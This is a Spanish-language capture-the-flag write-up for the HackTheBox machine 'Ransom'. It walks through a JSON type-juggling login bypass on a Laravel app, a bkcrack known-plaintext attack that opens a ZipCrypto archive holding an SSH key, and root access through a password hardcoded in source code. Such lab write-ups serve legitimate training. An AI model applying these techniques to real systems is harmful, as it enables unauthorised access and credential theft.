Ransom es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Ransom 10.10.11.153 a /etc/hosts como ransom.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
nmap -sV -sC -oA enumeration/nmap 10.10.11.153 Nmap scan report for 10.10.11.153 Host is up (0.044s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA) | 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA) |_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) | http-title: Admin - HTML5 Admin Template |_Requested resource was http://10.10.11.153/login Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Jul 21 17:59:29 2022 -- 1 IP address (1 host up) scanned in 11.69 seconds |
Sólo vemos dos puertos abiertos asi que vamos a enumerar los mismos a ver que encontramos.
Enumeración
Nos vamos al portal web en el puerto 80 y vemos la siguiente ventana
Observamos una ventana de login donde nos solicita una password que no tenemos así que vamos a revisar el portal.
Hacemos, de todas formas, una prueba de enviar una clave y nos muestra un mensaje indicando que la password utilizada no es válida
Observamos, mediante las cabeceras que se trata de una web que utiliza el framework laravel
1 2 3 4 5 6 7 8 9 |
$ curl http://ransom.htb -I HTTP/1.1 302 Found Date: Thu, 21 Jul 2022 18:05:30 GMT Server: Apache/2.4.41 (Ubuntu) Cache-Control: no-cache, private Location: http://ransom.htb/login Set-Cookie: XSRF-TOKEN=eyJpdiI6Ik1aY29Ya3psV3JYSE9TZ3R3RWx2TUE9PSIsInZhbHVlIjoiT3pUdGxxWmVTSUQzYm5BS2xzU1hFK0F0NFZLbENtaDBRUmhaTEZXSW96Ni9GZXVNcjZ3K01CS2VUTEh6MzN0aHJVRTNRK1R1N0ZUaWdab3I1OXpSMG43Qm1JbVNza0J2bHpuNGI4WkFxYnh1TGlGTG0zaUJCK0ZLdmVxSEtLUGgiLCJtYWMiOiIwMjNhODRiNGE5OWJmOTVlNWY2OGI1MzRkZDQ5ZmY2NzMxZTRkOTYwYjU2YzAyMDIzMmI1YjMzMjkyZWUzOTQwIiwidGFnIjoiIn0%3D; expires=Thu, 21-Jul-2022 20:05:30 GMT; Max-Age=7200; path=/; samesite=lax Set-Cookie: laravel_session=eyJpdiI6Imo0cjFyRldLajA0MUZDZjRFNHYyYlE9PSIsInZhbHVlIjoiWWJWUEZUaDFwWU9YbVdlTlp4L3VxOW9iVkhrc1crT2xBdmhBVWc3K0dCRnNlUllJcFlSMTlxemdQa3ZBdTFzMytDNW9ncnJ2UGxOWHVSNm8zbVRjbUtOb3JnMVFYcEY4Y2hKZmVYaThVOHR5SXExQ05QR2hsTkorcG1tOTRCUE0iLCJtYWMiOiJlNTdkNTEzNDZkZTAyNzkwMWM1ZDIyM2FlYmE2ZWU5ZmNlNDU4YmI4OGU1N2JjNzc1ODhmZDYzYTY5ZDlkNWQ3IiwidGFnIjoiIn0%3D; expires=Thu, 21-Jul-2022 20:05:30 GMT; Max-Age=7200; path=/; samesite=lax Content-Type: text/html; charset=UTF-8 |
Y revisando el código fuente de la web observamos el js que se encarga de realizar la validación del formulario
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
<script> $(document).ready(function() { $('#loginform').submit(function() { $.ajax({ type: "GET", url: 'api/login', data: { password: $("#password").val() }, success: function(data) { if (data === 'Login Successful') { window.location.replace('/'); } else { (document.getElementById('alert')).style.visibility = 'visible'; document.getElementById('alert').innerHTML = 'Invalid Login'; } } }); return false; }); }); </script> |
Hacemos alguna prueba de sqli pero sin éxito así que nos vamos a burp a ver si podemos bypasear el login.
Interceptamos la petición, la enviamos al repeater, y tratamos de enviar la petición por POST pero nos devuelve un error 405 indicando que el método utilizado no es válido
Modificamos y enviamos la petición por GET, pero manteniendo la sintaxis del envío de datos por post, sin incluir el parámetro en la url, y en este caso no detecta nuestro parámetro
Así que vamos a tratar de enviar la petición enviando los datos en formato json, y en este caso si nos detecta el parámetro
Hacemos alguna prueba con eso y modificamos el valor de password a true, y de esta forma sí que conseguimos saltarnos el login
Así que interceptamos otra petición y la enviamos de la forma que descubrimos anteriormente para saltar el login y acceder a una página donde podemos descargar dos ficheros:
- homedirectory.zip -> es un fichero zip cifrado con el contenido de la home del usuario
- user.txt -> la flag de user
Obteniendo la flag de user
La flag de user en este caso ha sido mucho más fácil de lo esperado, simplemente observamos el contenido del fichero para obtener la misma
1 2 |
$ cat user.txt 1xxxxxxxxxxxxxxxxxxxxxxxxxxxxx3 |
Descifrado del fichero homedirectory.zip
Ahora lo que nos toca para continuar es obtener el contenido del fichero .zip, que si miramos en su interior observamos que hay una clave ssh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ unzip -v uploaded-file-3422.zip Archive: uploaded-file-3422.zip Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 220 Defl:N 158 28% 2020-02-25 12:03 6ce3189b .bash_logout 3771 Defl:N 1740 54% 2020-02-25 12:03 ab254644 .bashrc 807 Defl:N 392 51% 2020-02-25 12:03 d1b22a87 .profile 0 Stored 0 0% 2021-07-02 18:58 00000000 .cache/ 0 Stored 0 0% 2021-07-02 18:58 00000000 .cache/motd.legal-displayed 0 Stored 0 0% 2021-07-02 18:58 00000000 .sudo_as_admin_successful 0 Stored 0 0% 2022-03-07 12:32 00000000 .ssh/ 2610 Defl:N 1978 24% 2022-03-07 12:32 38804579 .ssh/id_rsa 564 Defl:N 463 18% 2022-03-07 12:32 cb143c32 .ssh/authorized_keys 564 Defl:N 463 18% 2022-03-07 12:32 cb143c32 .ssh/id_rsa.pub 2009 Defl:N 569 72% 2022-03-07 12:32 396b04b4 .viminfo -------- ------- --- ------- 10545 5763 45% 11 files |
Tratamos de extraer el mismo, pero obviamente, nos solicita una password
1 2 3 |
$ unzip uploaded-file-3422.zip Archive: uploaded-file-3422.zip [uploaded-file-3422.zip] .bash_logout password: |
Utilizaremos, en primer lugar, 7zip para intentar obtener el tipo de cifrado utilizado
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
$ 7z l -slt uploaded-file-3422.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=es_ES.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) Scanning the drive for archives: 1 file, 7735 bytes (8 KiB) Listing archive: uploaded-file-3422.zip -- Path = uploaded-file-3422.zip Type = zip Physical Size = 7735 ---------- Path = .bash_logout Folder = - Size = 220 Packed Size = 170 Modified = 2020-02-25 12:03:22 Created = Accessed = Attributes = _ -rw-r--r-- Encrypted = + Comment = CRC = 6CE3189B Method = ZipCrypto Deflate Host OS = Unix Version = 20 Volume Index = 0 ... |
Y observamos que se trata del cifrado ZipCrypto, para el cual hay un ataque conocido, no precisamente nuevo ya que las versiones actuales utilizan cifrados AES256, y que dispone de una vulnerabilidad en la cual, si se dispone de un fichero idéntico al que existe en el fichero zip es posible utilizar el mismo para abusar del fichero zip y conseguir extraer su contenido sin necesidad de conocer su contraseña.
El nombre de la máquina nos da alguna pista de por donde buscar, y si navegamos un poco encontramos un post donde explica como realizar esto mismo
Así que revisamos los ficheros existentes y vemos uno la mar de interesante
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
Path = .bash_logout Folder = - Size = 220 Packed Size = 170 Modified = 2020-02-25 12:03:22 Created = Accessed = Attributes = _ -rw-r--r-- Encrypted = + Comment = CRC = 6CE3189B Method = ZipCrypto Deflate Host OS = Unix Version = 20 Volume Index = 0 |
El fichero .bash_logout ocupa 220 bytes y si comparamos con el existente en nuestra máquina el tamaño coincide
1 2 |
$ ll /home/asdf/.bash_logout -rw-r--r-- 1 asdf asdf 220 mar 18 2020 /home/asdf/.bash_logout |
Además de esto, para verificar que el contenido ha sido extraido correctamente se utiliza el código CRC32, de tal forma que sea posible verificar que la extracción es válida, por lo que vamos a comprobar nuestro fichero .bash_logout con python para ver si tiene el mismo valor que el fichero existente en el zip
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ python3 Python 3.8.3rc1 (default, Apr 30 2020, 07:33:30) [GCC 9.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import binascii >>> with open('/home/asdf/.bash_logout', 'rb') as f: ... file = f.read() ... >>> file b'# ~/.bash_logout: executed by bash(1) when login shell exits.\n\n# when leaving the console clear the screen to increase privacy\n\nif [ "$SHLVL" = 1 ]; then\n [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q\nfi\n' >>> hex(binascii.crc32(file) & 0xFFFFFFFF) '0x6ce3189b' >>> |
Y observamos, que en efecto, es el mismo. Así que vamos a buscar una herramienta que nos permita llevar a cabo el abuso del fichero y encontramos la tool bkcrack
Descargamos la misma y revisamos la ayuda de la herramienta, y en nuestro caso utilizaremos los siguientes parámetros
1 2 3 4 |
-C: el fichero zip cifrado -c: el nombre del fichero existente en el zip cifrado conocido -P: un fichero zip con el fichero similar -p: el nombre del fichero en el zip sin cifrar |
Así que generamos un fichero zip con nuestro fichero .bash_logout
1 2 3 |
$ cp /home/asdf/.bash_logout . $ zip myzip.zip .bash_logout adding: .bash_logout (deflated 28%) |
Y lanzamos el primer ataque para obtener las keys del zip
1 2 3 4 5 6 7 8 9 |
$ bkcrack -C uploaded-file-3422.zip -c .bash_logout -P myzip.zip -p .bash_logout bkcrack 1.5.0 - 2022-07-07 [18:56:26] Z reduction using 151 bytes of known plaintext 100.0 % (151 / 151) [18:56:26] Attack on 56903 Z values at index 6 Keys: 7b549874 ebc25ec5 7e465e18 75.5 % (42939 / 56903) [18:59:16] Keys 7b549874 ebc25ec5 7e465e18 |
Ya tenemos las keys, ahora nos queda utilizar las mismas para generar un fichero nuevo con la contraseña que deseemos y que nos permita obtener el contenido.
Utilizaremos las siguientes opciones de la herramienta
1 2 3 4 |
-C: zip cifrado -k: keys -U: fichero de salida password: password a utilizar para el fichero de salida |
Y lanzamos para generar nuestro zip
1 2 3 4 5 |
$ bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U decipher.zip password bkcrack 1.5.0 - 2022-07-07 [19:06:42] Writing unlocked archive decipher.zip with password "password" 100.0 % (9 / 9) Wrote unlocked archive. |
Extraemos el contenido y ya tenemos la clave ssh del usuario htb (lo podemos ver si abrimos el fichero de la clave pública)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ unzip decipher.zip -d decipher Archive: decipher.zip [decipher.zip] .bash_logout password: inflating: decipher/.bash_logout inflating: decipher/.bashrc inflating: decipher/.profile creating: decipher/.cache/ extracting: decipher/.cache/motd.legal-displayed extracting: decipher/.sudo_as_admin_successful creating: decipher/.ssh/ inflating: decipher/.ssh/id_rsa inflating: decipher/.ssh/authorized_keys inflating: decipher/.ssh/id_rsa.pub inflating: decipher/.viminfo |
Así que utilizamos la clave para entrar por ssh a la máquina
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ ssh -i id_rsa htb@10.10.11.153 The authenticity of host '10.10.11.153 (10.10.11.153)' can't be established. ECDSA key fingerprint is SHA256:tT45oQAnI0hnOIQg3ZvtoS4RG00xhxxBJua12YRVv2g. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.153' (ECDSA) to the list of known hosts. Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-77-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Mon Jul 5 11:34:49 2021 htb@ransom:~$ id uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd) htb@ransom:~$ |
Escalado de privilegios
Ahora que ya estamos dentro, nos queda escalar a root.
Enumeramos la máquina y encontramos interesante la configuración de apache, sobre todo del vhost 000-default
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
htb@ransom:/etc/apache2/sites-enabled$ cat 000-default.conf <VirtualHost *:80> ServerAdmin webmaster@localhost DocumentRoot /srv/prod/public ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined <Directory /srv/prod/public> Options +FollowSymlinks AllowOverride All Require all granted </Directory> </VirtualHost> |
Nos indica la ruta donde está alojada la web, así que vamos a investigar la misma.
Revisamos que se trata del framework laravel que vimos anteriormente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
htb@ransom:/srv/prod$ cat composer.json { "name": "laravel/laravel", "type": "project", "description": "The Laravel Framework.", "keywords": ["framework", "laravel"], "license": "MIT", "require": { "php": "^7.3|^8.0", "fruitcake/laravel-cors": "^2.0", "guzzlehttp/guzzle": "^7.0.1", "laravel/framework": "^8.75", "laravel/sanctum": "^2.11", "laravel/tinker": "^2.5" }, "require-dev": { "facade/ignition": "^2.5", "fakerphp/faker": "^1.9.1", "laravel/sail": "^1.0.1", "mockery/mockery": "^1.4.4", "nunomaduro/collision": "^5.10", "phpunit/phpunit": "^9.5.10" }, |
Y recordamos que en el formulario de login nos daba un error de password inválido, y que no hemos conseguido obtener, así que vamos a buscar el fichero donde se encuentra dicho código
1 2 |
htb@ransom:/srv/prod$ grep -rin "Invalid password" app/Http/Controllers/AuthController.php:42: return "Invalid Password"; |
Y el código del mismo es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
<?php namespace App\Http\Controllers; use App\Models\User; use Illuminate\Http\Request; use App\Http\Requests\RegisterRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Hash; class AuthController extends Controller { /** * Display login page. * * @return \Illuminate\Http\Response */ public function show_login() { return view('auth.login'); } /** * Handle account login * */ public function customLogin(Request $request) { $request->validate([ 'password' => 'required', ]); if ($request->get('password') == "UHC-March-Global-PW!") { session(['loggedin' => True]); return "Login Successful"; } return "Invalid Password"; } } |
Y vemos una contraseña, que vamos a utilizar para escalar a root.
Obteniendo la flag de root
Utilizamos la password obtenida para escalar a root y conseguir nuestra flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
htb@ransom:/srv/prod$ su - Password: root@ransom:~# id uid=0(root) gid=0(root) groups=0(root) root@ransom:~# pwd /root root@ransom:~# ll total 52 drwx------ 1 root root 108 Mar 8 11:53 ./ drwxr-xr-x 1 root root 164 Jul 2 2021 ../ lrwxrwxrwx 1 root root 9 Mar 7 22:18 .bash_history -> /dev/null -rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc drwx------ 1 root root 40 Mar 7 00:14 .cache/ -rw-r--r-- 1 root root 161 Dec 5 2019 .profile drwx------ 1 root root 30 Jul 2 2021 .ssh/ -rw------- 1 root root 17960 Mar 8 11:53 .viminfo -rw-r--r-- 1 root root 33 Jul 21 17:57 root.txt root@ransom:~# cat root.txt dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxa root@ransom:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace